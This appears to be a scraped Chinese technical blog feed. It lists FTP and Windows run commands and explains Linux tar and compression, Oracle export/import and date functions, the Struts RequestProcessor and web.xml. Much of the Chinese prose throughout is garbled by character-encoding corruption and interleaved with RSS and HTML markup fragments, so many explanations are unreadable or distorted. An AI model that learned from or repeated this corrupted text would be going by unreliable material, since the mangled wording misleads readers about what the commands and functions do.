44.proxy ftp-cmdQ在ơ要控制q接中,执行一条ftp命oQ?该命令允许连接两个ftp服务器,以在两个服务器间传输文g。第一条ftp命o必须为openQ以首先建立两个服务器间的连接?
45.put local-file[remote-file]Q将本地文glocal-file传送至q程L?
46.pwdQ显CE主机的当前工作目录?

47.quitQ同byeQ退出ftp会话?
48.quote arg1Qarg2...Q将参数逐字发至q程ftp服务器,如:quote syst.

49.recv remote-file[local-file]Q同get?
50.reget remote-file[local-file]Q类ggetQ?但若local-file存在Q则从上ơ传输中断处l传?

51.rhelp[cmd-name]Q请求获得远E主机的帮助?
52.rstatus[file-name]Q若未指定文件名Q则昄q程L的状态, 否则昄文g状态?

53.rename[from][to]Q更改远E主机文件名?
54.resetQ清除回{队列?

55.restart markerQ从指定的标志marker处,重新开始get或putQ如Qrestart 130?
56.rmdir dir-nameQ删除远E主机目录?

57.runiqueQ设|文件名只一性存储,若文件存在,则在原文件后加后~.1Q?.2{?
58.send local-file[remote-file]Q同put?

59.sendportQ设|PORT命o的用?
60.site arg1Qarg2...Q将参数作ؓSITE命o逐字发送至q程ftpL?

61.size file-nameQ显CE主机文件大,如:site idle 7200?
62.statusQ显C当前ftp状态?

63.struct[struct-name]Q将文g传输l构讄为struct-nameQ?~省时用streaml构?
64.suniqueQ将q程L文g名存储设|ؓ只一(与runique对应)?

65.systemQ显CE主机的操作pȝcd?
66.tenexQ将文g传输cd讄为TENEX机的所需的类型?

67.tickQ设|传输时的字节计数器?
68.traceQ设|包跟踪?

69.type[type-name]Q设|文件传输类型ؓtype-nameQ缺省ؓasciiQ如:type binaryQ设|二q制传输方式?
70.umask[newmask]Q将q程服务器的~省umask讄为newmaskQ如Qumask 3

71.user user-name[password][account]Q向q程L表明自己的n份,需要口令时Q必输入口令,如:user anonymous my@email?
72.verboseQ同命o行的-v参数Q即讄详尽报告方式Qftp 服务器的所有响 应都显C给用户Q缺省ؓon.

73.?[cmd]Q同help.

#11 十一Q?

7Q计机q行命o全集 winver---------查Windows版本
wmimgmt.msc----打开windows理体系l构
wupdmgr--------windows更新E序
winver---------查Windows版本
wmimgmt.msc----打开windows理体系l构
wupdmgr--------windows更新E序
wscript--------windows脚本宿主讄
write----------写字板winmsd-----pȝ信息
wiaacmgr-------扫描仪和照相机向?
winchat--------XP自带局域网聊天
mem.exe--------昄内存使用情况
Msconfig.exe---pȝ配置实用E序
mplayer2-------易widnows media player
mspaint--------d?
mstsc----------q程桌面q接
mplayer2-------媒体播放?
magnify--------攑֤镜实用程?
mmc------------打开控制?
mobsync--------同步命o
dxdiag---------查DirectX信息
drwtsn32------ pȝȝ
devmgmt.msc--- 讑֤理?
dfrg.msc-------盘片整理E序
diskmgmt.msc---盘理实用E序
dcomcnfg-------打开pȝlg服务
ddeshare-------打开DDE׃n讄
dvdplay--------DVD播放?
net stop messenger-----停止信服务
net start messenger----开始信使服?
notepad--------打开C?
nslookup-------|络理的工具向?
ntbackup-------pȝ备䆾和还?
narrator-------屏幕"讲述?
ntmsmgr.msc----Ud存储理?
ntmsoprq.msc---Ud存储理员操作请?
netstat -an----(TC)命o查接?
syncapp--------创徏一个公文包
sysedit--------pȝ配置~辑?
sigverif-------文g{֐验证E序
sndrec32-------录音?
shrpubw--------创徏׃n文g?
secpol.msc-----本地安全{略
syskey---------pȝ加密Q一旦加密就不能解开Q保护windows xppȝ的双重密?
services.msc---本地服务讄
Sndvol32-------音量控制E序
sfc.exe--------pȝ文g查器
sfc /scannow---windows文g保护
tsshutdn-------60U倒计时关机命?
tourstart------xp介(安装完成后出现的漫游xpE序Q?
taskmgr--------d理?
eventvwr-------事g查看?
eudcedit-------造字E序
explorer-------打开资源理?
packager-------对象包装E序
perfmon.msc----计算机性能监测E序
progman--------E序理?
regedit.exe----注册?
rsop.msc-------l策略结果集
regedt32-------注册表编辑器
rononce -p ----15U关?
regsvr32 /u *.dll----停止dll文gq行
regsvr32 /u zipfldr.dll------取消ZIP支持
cmd.exe--------CMD命o提示W?
chkdsk.exe-----Chkdsk盘?
certmgr.msc----证书理实用E序
calc-----------启动计算?
charmap--------启动字符映射?
cliconfg-------SQL SERVER 客户端网l实用程?
Clipbrd--------剪脓板查看器
conf-----------启动netmeeting
compmgmt.msc---计算机管?
cleanmgr-------**整理
ciadv.msc------索引服务E序
osk------------打开屏幕键盘
odbcad32-------ODBC数据源管理器
oobe/msoobe /a----查XP是否Ȁz?
lusrmgr.msc----本机用户和组
logoff---------注销命o
iexpress-------木马捆绑工具Q系l自?
Nslookup-------IP地址侦测?
fsmgmt.msc-----׃n文g夹管理器
utilman--------辅助工具理?
gpedit.msc-----l策?



Fighter 2009-07-20 15:26 发表评论
]]>
Linux tar命ohttp://www.tkk7.com/highbbs/archive/2009/05/22/277303.htmlFighterFighterFri, 22 May 2009 05:47:00 GMThttp://www.tkk7.com/highbbs/archive/2009/05/22/277303.htmlhttp://www.tkk7.com/highbbs/comments/277303.htmlhttp://www.tkk7.com/highbbs/archive/2009/05/22/277303.html#Feedback0http://www.tkk7.com/highbbs/comments/commentRss/277303.htmlhttp://www.tkk7.com/highbbs/services/trackbacks/277303.html tar 可以为文件和目录创徏档案。利用tarQ用户可以ؓ某一特定文g创徏档案Q备份文ӞQ也可以在档案中改变文gQ或者向档案中加入新的文
件。tar最初被用来在磁带上创徏档案Q现在,用户可以在Q何设备上创徏档案Q如软盘。利用tar命oQ可以把一大堆的文件和目录全部打包成一个文Ӟq?br /> 对于备䆾文g或将几个文gl合成ؓ一个文件以便于|络传输是非常有用的。[url=javascript:;]Linux[/url]上的tar是GNU版本的?br /> 语法Qtar [主选项+辅选项] 文g或者目?br /> 使用该命令时Q主选项是必要有的Q它告诉tar要做什么事情,辅选项是辅助用的Q可以选用?br /> 主选项Q?br /> c 创徏新的档案文g。如果用h备䆾一个目录或是一些文Ӟp选择q个选项?br /> r 把要存档的文件追加到档案文g的未。例如用户已l作好备份文Ӟ又发现还有一个目录或是一些文件忘记备份了Q这时可以用该选项Q将忘记的目录或文gq加到备份文件中?br /> t 列出档案文g的内容,查看已经备䆾了哪些文件?br /> u 更新文g。就是说Q用新增的文件取代原备䆾文gQ如果在备䆾文g中找不到要更新的文gQ则把它q加到备份文件的最后?br /> x 从档案文件中释放文g?br /> 辅助选项Q?br /> b 该选项是ؓ带定的。其后跟一数字Q用来说明区块的大小Q系l预讑րgؓ20Q?0*512 bytesQ?br /> f 使用档案文g或设备,q个选项通常是必选的?br /> k 保存已经存在的文件。例如我们把某个文gq原Q在q原的过E中Q遇到相同的文gQ不会进行覆盖?br /> m 在还原文件时Q把所有文件的修改旉讑֮为现在?br /> M 创徏多卷的档案文Ӟ以便在几个磁盘中存放?br /> v 详细报告tar处理的文件信息。如无此选项Qtar不报告文件信息?br /> w 每一步都要求认?br /> z 用gzip来压~?解压~文Ӟ加上该选项后可以将档案文gq行压羃Q但q原时也一定要使用该选项q行解压~?br /> Linux下的压羃文g剖析
对于刚刚接触Linux的h来说Q一定会lLinux下一大堆各式各样的文件名l搞晕。别个不_单单压~文件ؓ例,我们知道在[url=javascript:;]Windows[/url]
下最常见的压~文件就只有两种Q一?zipQ另一个是.rap。可是Linux׃同了Q它?gz?tar.gz、tgz、bz2?Z?tar
{众多的压羃文g名,此外windows下的.zip?rar也可以在Linux下用,不过在Linux使用.zip?rar的h太了。本文就
来对q些常见的压~文件进行一番小l,希望你下ơ遇到这些文件时不至于被搞晕?br />   在具体ȝ各类压羃文g之前呢,首先要弄清两个概念:打包和压~。打包是指将一大堆文g或目录什么的变成一个ȝ文gQ压~则是将一个大的文
仉过一些压~算法变成一个小文g。ؓ什么要区分q两个概念呢Q其实这源于Linux中的很多压羃E序只能针对一个文件进行压~,q样当你惌压羃一大堆
文gӞ你就得先借助另它的工具将q一大堆文g先打成一个包Q然后再原来的压羃E序q行压羃?br />   Linux下最常用的打包程序就是tar了,使用tarE序打出来的包我们常UCؓtar包,tar包文件的命o通常都是?tarl尾的。生成tar包后Q就可以用[url=javascript:;]其它[/url]的程序来q行压羃了,所以首先就来讲讲tar命o的基本用法:
  tar命o的选项有很?用man tar可以查看?Q但常用的就那么几个选项Q下面来举例说明一下:
  # tar -cf all.tar *.jpg
  q条命o是将所?jpg的文件打成一个名为all.tar的包?c是表CZ生新的包Q?f指定包的文g名?br />   # tar -rf all.tar *.gif
  q条命o是将所?gif的文件增加到all.tar的包里面厅R?r是表C增加文件的意思?br /> # tar -uf all.tar logo.gif
  q条命o是更新原来tar包all.tar中logo.gif文gQ?u是表C更新文件的意思?br />   # tar -tf all.tar
  q条命o是列出all.tar包中所有文Ӟ-t是列出文件的意?br />   # tar -xf all.tar
  q条命o是解出all.tar包中所有文Ӟ-t是解开的意?br />   以上是tar的最基本的用法。ؓ了方便用户在打包解包的同时可以压~或解压文gQtar提供了一U特D的功能。这是tar可以在打包或解包的同时调用其它的压羃E序Q比如调用gzip、bzip2{?br />   1) tar调用gzip
  gzip是GNUl织开发的一个压~程序,.gzl尾的文件就是gzip压羃的结果。与gzip相对的解压程序是gunzip。tar中?zq个参数来调用gzip。下面来举例说明一下:
  # tar -czf all.tar.gz *.jpg
  q条命o是将所?jpg的文件打成一个tar包,q且其用gzip压羃Q生成一个gzip压羃q的包,包名为all.tar.gz
  # tar -xzf all.tar.gz
  q条命o是将上面产生的包解开?br />   2) tar调用bzip2
  bzip2是一个压~能力更强的压羃E序Q?bz2l尾的文件就是bzip2压羃的结果。与bzip2相对的解压程序是bunzip2。tar中?jq个参数来调用gzip。下面来举例说明一下:
  # tar -cjf all.tar.bz2 *.jpg
  q条命o是将所?jpg的文件打成一个tar包,q且其用bzip2压羃Q生成一个bzip2压羃q的包,包名为all.tar.bz2
  # tar -xjf all.tar.bz2
  q条命o是将上面产生的包解开?br /> 3)tar调用compress
  compress也是一个压~程序,但是好象使用compress的h不如gzip和bzip2的h多?Zl尾的文件就是bzip2压羃?br /> l果。与 compress相对的解压程序是uncompress。tar中?Zq个参数来调用gzip。下面来举例说明一下:
  # tar -cZf all.tar.Z *.jpg
  q条命o是将所?jpg的文件打成一个tar包,q且其用compress压羃Q生成一个uncompress压羃q的包,包名为all.tar.Z
  # tar -xZf all.tar.Z
  q条命o是将上面产生的包解开
  有了上面的知识,你应该可以解开多种压羃文g了,下面对于tarpd的压~文件作一个小l:
  1)对于.tarl尾的文?br />   tar -xf all.tar
  2)对于.gzl尾的文?br />   gzip -d all.gz
  gunzip all.gz
  3)对于.tgz?tar.gzl尾的文?br />   tar -xzf all.tar.gz
  tar -xzf all.tgz
  4)对于.bz2l尾的文?br />   bzip2 -d all.bz2
  bunzip2 all.bz2
  5)对于tar.bz2l尾的文?br />   tar -xjf all.tar.bz2
  6)对于.Zl尾的文?br />   uncompress all.Z
  7)对于.tar.Zl尾的文?br />   tar -xZf all.tar.z
  另外对于Window下的常见压羃文g.zip?rarQLinux也有相应的方法来解压它们Q?br />   1)对于.zip
  linux下提供了zip和unzipE序Qzip是压~程序,unzip是解压程序。它们的参数选项很多Q这里只做简单介l,依旧举例说明一下其用法Q?br />   # zip all.zip *.jpg
  q条命o是将所?jpg的文件压~成一个zip?br /> # unzip all.zip
  q条命o是将all.zip中的所有文件解压出?br />   2)对于.rar
  要在linux下处?rar文gQ需要安装RAR for LinuxQ可以从|上下蝲Q但要记住,RAR for Linux
不是免费的;然后安装Q?br />   # tar -xzpvf rarlinux-3.2.0.tar.gz
  # cd rar
  # make
  q样安装好了,安装后就有了rar和unrarq两个程序,rar是压~程序,unrar是解压程序。它们的参数选项很多Q这里只做简单介l,依旧举例说明一下其用法Q?br />   # rar a all *.jpg
  q条命o是将所?jpg的文件压~成一个rar包,名ؓall.rarQ该E序会将.rar 扩展名将自动附加到包名后?br />   # unrar e all.rar
  q条命o是将all.rar中的所有文件解压出?br />   到此Q我们已l介l过linux下的tar、gzip、gunzip、bzip2、bunzip2、compress?br /> uncompress?zip、unzip、rar、unrar{程式,你应该已l能够用它们对.tar?gz?tar.gz?tgz?
bz2?tar.bz2? Z?tar.Z?zip?rarq?0U压~文件进行解压了Q以后应该不需要ؓ下蝲了一个Y件而不知道如何?br /> Linux下解开而烦g。而且以上Ҏ对于Unix也基本有效?br />   本文介绍了linux下的压羃E式tar、gzip、gunzip、bzip2、bunzip2?compress?br /> uncompress、zip、unzip、rar、unrar{程式,以及如何使用它们?tar?gz?tar.gz? tgz?bz2?
tar.bz2?Z?tar.Z?zip?rarq?0U压~文件进行操?

Fighter 2009-05-22 13:47 发表评论
]]>
PL SQL 数据库导出导?/title><link>http://www.tkk7.com/highbbs/archive/2009/05/21/271995.html</link><dc:creator>Fighter</dc:creator><author>Fighter</author><pubDate>Thu, 21 May 2009 07:39:00 GMT</pubDate><guid>http://www.tkk7.com/highbbs/archive/2009/05/21/271995.html</guid><wfw:comment>http://www.tkk7.com/highbbs/comments/271995.html</wfw:comment><comments>http://www.tkk7.com/highbbs/archive/2009/05/21/271995.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/highbbs/comments/commentRss/271995.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/highbbs/services/trackbacks/271995.html</trackback:ping><description><![CDATA[<p>在pl/sql中用exp/imp工具实现oracle数据导出/导入Oracle 数据导入导出imp/expq当于oracle数据q原与备份。exp命o可以把数据从q程数据库服务器导出到本地的dmp文gQimp命o可以?dmp文g从本地导入到q处的数据库服务器中?利用q个功能可以构徏两个相同的数据库Q一个用来测试,一个用来正式用?/p> <p>执行环境Q可以在SQLPLUS.EXE或者DOSQ命令行Q中执行Q?br /> DOS中可以执行时׃ 在oracle 8i ?安装目录\ora81\BIN被设|ؓ全局路径Q?br /> 该目录下有EXP.EXE与IMP.EXE文g被用来执行导入导出?br /> oracle用java~写QSQLPLUS.EXE、EXP.EXE、IMP.EXEq两个文件有可能是被包装后的cL件?br /> SQLPLUS.EXE调用EXP.EXE、IMP.EXE所包裹的类Q完成导入导出功能?/p> <p>下面介绍的是导入导出的实例?br /> 数据导出Q?br /> 1 数据库TEST完全导出,用户名system 密码manager 导出到D:\daochu.dmp?br />    exp system/manager@TEST file=d:\daochu.dmp full=y<br /> 2 数据库中system用户与sys用户的表导出<br />    exp system/manager@TEST file=d:\daochu.dmp owner=(system,sys)<br /> 3 数据库中的表inner_notify、notify_staff_relat导出<br />     exp aichannel/aichannel@TESTDB2 file= d:\data\newsmgnt.dmp tables=(inner_notify,notify_staff_relat) </p> <p>4 数据库中的表table1中的字段filed1?00"打头的数据导?br />    exp system/manager@TEST file=d:\daochu.dmp tables=(table1) query=\" where filed1 like '00%'\"</p> <p>上面是常用的导出Q对于压~,既用winzip把dmp文g可以很好的压~?br /> 也可以在上面命o后面 加上 compress=y 来实现?<br /> 数据的导?br /> 1 D:\daochu.dmp 中的数据导入 TEST数据库中?br />    imp system/manager@TEST file=d:\daochu.dmp<br />    imp aichannel/aichannel@HUST full=y file=file= d:\data\newsmgnt.dmp ignore=y <br />    上面可能有点问题Q因为有的表已经存在Q然后它报错,对该表就不进行导入?br />    在后面加?ignore=y 可以了?br /> 2 d:\daochu.dmp中的表table1 导入<br /> imp system/manager@TEST file=d:\daochu.dmp tables=(table1) </p> <p>基本上上面的导入导出够用了。不情况要先是表d删除Q然后导入?/p> <p>注意Q?br /> 操作者要有够的权限Q权限不够它会提C?br /> 数据库时可以q上的。可以用tnsping TEST 来获得数据库TEST能否q上?/p> <p>附录一Q?br /> l用户增加导入数据权限的操作<br /> W一,启动sql*puls<br /> W二Q以system/manager登陆<br /> W三Qcreate user 用户?IDENTIFIED BY 密码 Q如果已l创用户Q这步可以省略)<br /> W四QGRANT CREATE USER,DROP USER,ALTER USER ,CREATE ANY VIEW ,<br />    DROP ANY VIEW,EXP_FULL_DATABASE,IMP_FULL_DATABASE,<br />     DBA,CONNECT,RESOURCE,CREATE SESSION TO 用户名字 <br /> W五, q行-cmd-q入dmp文g所在的目录, <br />     imp userid=system/manager full=y file=*.dmp<br />      或?imp userid=system/manager full=y file=filename.dmp</p> <p>执行CZ:<br /> F:\Work\Oracle_Data\backup>imp userid=test/test full=y file=inner_notify.dmp</p> <p>屏幕昄<br /> Import: Release 8.1.7.0.0 - Production on 星期?2?16 16:50:05 2006<br /> (c) Copyright 2000 Oracle Corporation. All rights reserved.</p> <p>q接? Oracle8i Enterprise Edition Release 8.1.7.0.0 - Production<br /> With the Partitioning option<br /> JServer Release 8.1.7.0.0 - Production</p> <p>l由常规路径导出由EXPORT:V08.01.07创徏的文?br /> 已经完成ZHS16GBK字符集和ZHS16GBK NCHAR 字符集中的导?br /> 导出服务器用UTF8 NCHAR 字符?(可能的ncharset转换)<br /> . 正在AICHANNEL的对象导入到 AICHANNEL<br /> . . 正在导入?nbsp;                 "INNER_NOTIFY"          4行被导入<br /> 准备启用U束条g...<br /> 成功l止导入Q但出现警告?/p> <p><br /> 附录二:<br /> Oracle 不允许直接改变表的拥有? 利用Export/Import可以辑ֈq一目的.<br /> 先徏立import9.par,<br /> 然后Q用时命o如下Qimp parfile=/filepath/import9.par<br /> ?import9.par 内容如下Q?br />         FROMUSER=TGPMS        <br />         TOUSER=TGPMS2     Q注Q把表的拥有者由FROMUSER改ؓTOUSERQFROMUSER和TOUSER的用户可以不同)           <br />         ROWS=Y<br />         INDEXES=Y<br />         GRANTS=Y<br />         CONSTRAINTS=Y<br />         BUFFER=409600<br />         file==/backup/ctgpc_20030623.dmp<br />         log==/backup/import_20030623.log<br /> </p> <img src ="http://www.tkk7.com/highbbs/aggbug/271995.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/highbbs/" target="_blank">Fighter</a> 2009-05-21 15:39 <a href="http://www.tkk7.com/highbbs/archive/2009/05/21/271995.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Oracle trunc() 用法http://www.tkk7.com/highbbs/archive/2009/05/21/271994.htmlFighterFighterThu, 21 May 2009 07:36:00 GMThttp://www.tkk7.com/highbbs/archive/2009/05/21/271994.htmlhttp://www.tkk7.com/highbbs/comments/271994.htmlhttp://www.tkk7.com/highbbs/archive/2009/05/21/271994.html#Feedback0http://www.tkk7.com/highbbs/comments/commentRss/271994.htmlhttp://www.tkk7.com/highbbs/services/trackbacks/271994.html1.TRUNC(for dates)
TRUNC函数为指定元素而截ȝ日期倹{?br /> 其具体的语法格式如下Q?br /> TRUNCQdate[,fmt]Q?br /> 其中Q?br /> date 一个日期?br /> fmt 日期格式Q该日期由指定的元素格式所截去。忽略它则由最q的日期截去
下面是该函数的用情况:
TRUNCQTO_DATE(’24-Nov-1999 08:00 pm’,’dd-mon-yyyy hh:mi am’)Q?br /> =’24-Nov-1999 12:00:00 am’
TRUNCQTO_DATE(’24-Nov-1999 08:37 pm’,’dd-mon-yyyy hh:mi am’,’hh’)Q?=’24-Nov-1999 08:00:00 am’
trunc(sysdate,'yyyy') --q回当年W一?
trunc(sysdate,'mm') --q回当月W一?
trunc(sysdate,'d') --q回当前星期的第一?


2.TRUNC(for number)
TRUNC函数q回处理后的数|其工作机制与ROUND函数极ؓcMQ只是该函数不对指定数前或后的部分做相应舍入选择处理Q而统l截厅R?br /> 其具体的语法格式如下
TRUNCQnumber[,decimals]Q?br /> 其中Q?br /> number 待做截取处理的数?br /> decimals 指明需保留数点后面的位数。可选项Q忽略它则截L有的数部分
下面是该函数的用情况:
TRUNCQ?9.985Q?Q?89.98
TRUNCQ?9.985Q?89
TRUNCQ?9.985Q?1Q?80
注意Q第二个参数可以敎ͼ表示为小数点左边指定位数后面的部分截去,卛_?记?



Fighter 2009-05-21 15:36 发表评论
]]>
Oracle 日期函数用法http://www.tkk7.com/highbbs/archive/2009/05/21/271993.htmlFighterFighterThu, 21 May 2009 07:35:00 GMThttp://www.tkk7.com/highbbs/archive/2009/05/21/271993.htmlhttp://www.tkk7.com/highbbs/comments/271993.htmlhttp://www.tkk7.com/highbbs/archive/2009/05/21/271993.html#Feedback0http://www.tkk7.com/highbbs/comments/commentRss/271993.htmlhttp://www.tkk7.com/highbbs/services/trackbacks/271993.html 1、add_months()用于从一个日期值增加或减少一些月?br /> date_value:=add_months(date_value,number_of_months)
例:
SQL> select add_months(sysdate,12) "Next Year" from dual;
 
Next Year
----------
13-11?04
 
SQL> select add_months(sysdate,112) "Last Year" from dual;
 
Last Year
----------
13-3?-13
 
SQL> 
 
2、current_date()q回当前会放时区中的当前日期
date_value:=current_date
SQL> column sessiontimezone for a15
SQL> select sessiontimezone,current_date from dual;
 
SESSIONTIMEZONE CURRENT_DA
--------------- ----------
+08:00          13-11?03
 
SQL> alter session set time_zone='-11:00'
   2  /
 
会话已更攏V?br />  
SQL> select sessiontimezone,current_timestamp from dual;
 
SESSIONTIMEZONE CURRENT_TIMESTAMP
--------------- ------------------------------------
-11:00          12-11?03 04.59.13.668000 下午 -11:
                 00
 
SQL> 
 
3、current_timestamp()以timestamp with time zone数据cdq回当前会放时区中的当前日期
timestamp_with_time_zone_value:=current_timestamp([timestamp_precision])
SQL> column sessiontimezone for a15
SQL> column current_timestamp format a36
SQL> select sessiontimezone,current_timestamp from dual;
 
SESSIONTIMEZONE CURRENT_TIMESTAMP
--------------- ------------------------------------
+08:00          13-11?03 11.56.28.160000 上午 +08:
                 00
 
SQL> alter session set time_zone='-11:00'
   2  /
 
会话已更攏V?br />  
SQL> select sessiontimezone,current_timestamp from dual;
 
SESSIONTIMEZONE CURRENT_TIMESTAMP
--------------- ------------------------------------
-11:00          12-11?03 04.58.00.243000 下午 -11:
                 00
 
SQL> 
 
4、dbtimezone()q回时区
varchar_value:=dbtimezone
SQL> select dbtimezone from dual;
 
DBTIME
------
-07:00
 
SQL> 
 
5、extract()扑և日期或间隔值的字段?br /> date_value:=extract(date_field from [datetime_value|interval_value])
SQL> select extract(month from sysdate) "This Month" from dual;
 
This Month
----------
         11
 
SQL> select extract(year from add_months(sysdate,36)) "3 Years Out" from dual;
 
3 Years Out
-----------
        2006
 
SQL> 
 
6、last_day()q回包含了日期参数的月䆾的最后一天的日期
date_value:=last_day(date_value)
SQL> select last_day(date'2000-02-01') "Leap Yr?" from dual;
 
Leap Yr?
----------
29-2?-00
 
SQL> select last_day(sysdate) "Last day of this month" from dual;
 
Last day o
----------
30-11?03
 
SQL> 
 
7、localtimestamp()q回会话中的日期和时?br /> timestamp_value:=localtimestamp
SQL> column localtimestamp format a28
SQL> select localtimestamp from dual;
 
LOCALTIMESTAMP
----------------------------
13-11?03 12.09.15.433000
下午
 
SQL> select localtimestamp,current_timestamp from dual;
 
LOCALTIMESTAMP               CURRENT_TIMESTAMP
---------------------------- ------------------------------------
13-11?03 12.09.31.006000   13-11?03 12.09.31.006000 下午 +08:
下午                         00
&



----Comments

Oracle的解惑一二to_date()?4时制表C法及mm分钟的显C:
一、在使用Oracle的to_date函数来做日期转换Ӟ很多JavaE序员也怼和我一P直觉的采?#8220;yyyy-MM-dd HH:mm:ss”的格式作为格式进行{换,但是在Oracle中会引v错误Q?#8220;ORA 01810 格式代码出现两次”?
如:select to_date('2005-01-01 13:14:20','yyyy-MM-dd HH24:mm:ss') from dual;
原因是SQL中不区分大小写,MM和mm被认为是相同的格式代码,所以Oracle的SQL采用了mi代替分钟?
select to_date('2005-01-01 13:14:20','yyyy-MM-dd HH24:mi:ss') from dual;

二、另要以24时的Ş式显C出来要用HH24
select to_char(sysdate,'yyyy-MM-dd HH24:mi:ss') from dual;//mi是分?
select to_char(sysdate,'yyyy-MM-dd HH24:mm:ss') from dual;//mm会显C月?

ToDate 把字W串转化为datecd
ToChar 可以把日期{化ؓ惌的格式的字符?/p>

Fighter 2009-05-21 15:35 发表评论
]]>
Struts初始化之RequestProcessor[转]http://www.tkk7.com/highbbs/archive/2008/12/31/249304.htmlFighterFighterWed, 31 Dec 2008 03:07:00 GMThttp://www.tkk7.com/highbbs/archive/2008/12/31/249304.htmlhttp://www.tkk7.com/highbbs/comments/249304.htmlhttp://www.tkk7.com/highbbs/archive/2008/12/31/249304.html#Feedback0http://www.tkk7.com/highbbs/comments/commentRss/249304.htmlhttp://www.tkk7.com/highbbs/services/trackbacks/249304.html对于RequestProcessorq个c,有的人可能很陌生Q毕竟它不象ActionSerlvet那样Q在我们的面前频J的出现。但是,RequestProcessor用的要远比ActionServlet多,那么RequestProcessor到底是干什么的呢?当ActionServlet接收到客戯求后Q会q行一q串的初始化操作Q然后,׃客戯求{交给合适的处理器进行处理,q个合适的处理器就是org.apache.struts.action.RequestProcessor。既然我们知道了RequestProcessor的用处,下面我们pl的分析下这个处理器cR?
1.调用processMultipart( )ҎQ?/span>如果HttpServletRequest是POST方式Q且h为multipart/form-data QStruts框架请求对象包装成处理multipart h专用的请求对象,否则Q只是简单地q回原有的请求对象。一般来_除非需要处理文件上传,否则不用兛_multipart 功能的具体细节?
2.调用processPath( ) ҎQ?/span>该方法用来从hURL中获应用取\径部分。获取到的信息在E后的步骤中用于选择合适的Struts Action调用?
3.调用processLocale( )ҎQ?/span>处理一些国际化的事务?
4.调用ҎprocessContent( )Q?/span>来决定请求的content type~码(encoding)方式。content type可以配合在配|文件中Q也可以在jsp文g中配|,默认为text/html?
5.ҎnoCache属性的讄调用processNoCache( ) ҎQ?/span>如果noCache讄为true。则d合适的响应头到响应对象中,使得面保留在浏览器的Cache中。这些响应头包含Pragma, Cache-Control, 和Expires ?
6.调用processPreprocess( )ҎQ这个方法在q儿讄一个钩子,Ҏ的默认实现只是简单地q回trueQ这L了自定义处理器的开发者提供了一个合适的地方让你d自己的业务逻辑。因个方法在调用Action之前被调用,如果你重载这个方法,只需要返回falseQ则Action׃会被调用。例如,你可以重载这个方法用h查客户sessionQ如果不通过p回false?
7.调用processMapping( )ҎQ?/span>Ҏ客户h信息中的path 信息来决定是否返回ActionMapping对象实例。如果不能够扑ֈpath 的映,则客户将会得C个error 响应?
8.通过调用processRoles( )ҎQ?/span>查是否ؓAction配置了安全角艌Ӏ如果配|了角色要求Q则h对象的isUserInRole( )Ҏ被调用,如果用户属于q些角色Q则客户会得到显CZ个error 响应?
9.调用processActionForm( )ҎQ?/span>查是否存在ؓActionMapping配置的ActionForm 。如果存在,则在有效区域内查找是否存在该ActionForm 的实例,存在Q则复用Q不存在Q则创徏一个实例。然后将实例保存与再配置文g中配|好的有效区?request,session,application)内,q用Action元素的name属性作实例的关键字?
10.调用processPopulate( )ҎQ?/span>如果存在为ActionMapping配置的ActionFormQ则装h对象中的数据到ActionForm 中,在进行封装之前,先调用ActionForm 的reset( )Ҏq行属性值的默认化?
11.调用processValidate( )ҎQ?/span>如果ActionForm被配|好Qƈ且action元素的属性validate被设|ؓtrue Q则q一步调用validate( )Ҏq行规则校验。如果validate( )Ҏ校验p|Q就会保存一个ActionErrors 对象到请求区域中Q请求将会自动重定向到action映射的input属性所指定的页面中。如果校验通过或在action 映射中没有配|ActionFormQ则l箋处理h?
12.Ҏaction 映射是否配置了forward属性或include属性来军_下一步操作。如果配|了L一个,则相应地调用RequestDispatcher对象?span style="color: red">forward( )Ҏ或include( )
ҎQ调用后Q对客户h的处理结束。否则,l箋处理h?
13.调用processActionCreate( )ҎQ?/span>创徏或获取一个Action对象实例处理h。processActionCreate( )Ҏ会在~存中查找是否存在已l创建好的Action实例Q如果存在,则复用,否则Q则重新创徏q将其村于缓存中?
14.调用processActionPerform( )ҎQ?/span>该方法用于在一个try/catch 代码块中调用action 实例的execute( )ҎQ这L保action 的execute( )Ҏ一旦发生执行异常能够被RequestProcessor捕获?
15.调用processActionForward( )ҎQ?/span>q传入action的execute( )Ҏ所q回的ActionForward对象实例Q方法通过查ActionForward对象实例Q决定采用redirect或forword方式q行重定向。究竟采用redirectq是
forword取决于forward元素的redirect属性倹{?

上面q些分析Q也是我在网上搜集的资料q加以整理ȝ出来的,在实际的应用开发中Q如果我们想对Struts在初始化的时候进行一些扩展,我们可以重新写ActionServlet的子c,或RequestProcessor的子c,但是不徏议去写ActionServlet的子c,在RequestProcessor中ؓ我们提供?span style="color: red">processPreprocess()
q个钩子ҎQ这P我们可以去重写这个方法,来进行扩展。虽然RequestProcessor在表面上不是很常用到Q但是他lh的感觉却恰恰相反Q这个类用来处理我们每一ơ的hQ所以,更好的了解RequestProcessorcd我们来说很重要?/span>

Fighter 2008-12-31 11:07 发表评论
]]>
web.xml配置详细说明http://www.tkk7.com/highbbs/archive/2008/08/23/223852.htmlFighterFighterSat, 23 Aug 2008 05:17:00 GMThttp://www.tkk7.com/highbbs/archive/2008/08/23/223852.htmlhttp://www.tkk7.com/highbbs/comments/223852.htmlhttp://www.tkk7.com/highbbs/archive/2008/08/23/223852.html#Feedback1http://www.tkk7.com/highbbs/comments/commentRss/223852.htmlhttp://www.tkk7.com/highbbs/services/trackbacks/223852.html1 定义头和根元?/p>

部v描述W文件就像所有XML文g一P必须以一个XML头开始。这个头声明可以使用的XML版本q给出文件的字符~码?br /> DOCYTPE声明必须立即出现在此头之后。这个声明告诉服务器适用的servlet规范的版本(?.2?.3Qƈ指定理此文件其余部分内容的语法的DTD(Document Type DefinitionQ文档类型定??br /> 所有部|描q符文g的顶层(根)元素为web-app。请注意QXML元素不像HTMLQ他们是大小写敏感的。因此,web-App和WEB-APP都是不合法的Qweb-app必须用小写?/p>

2 部v描述W文件内的元素次?/p>

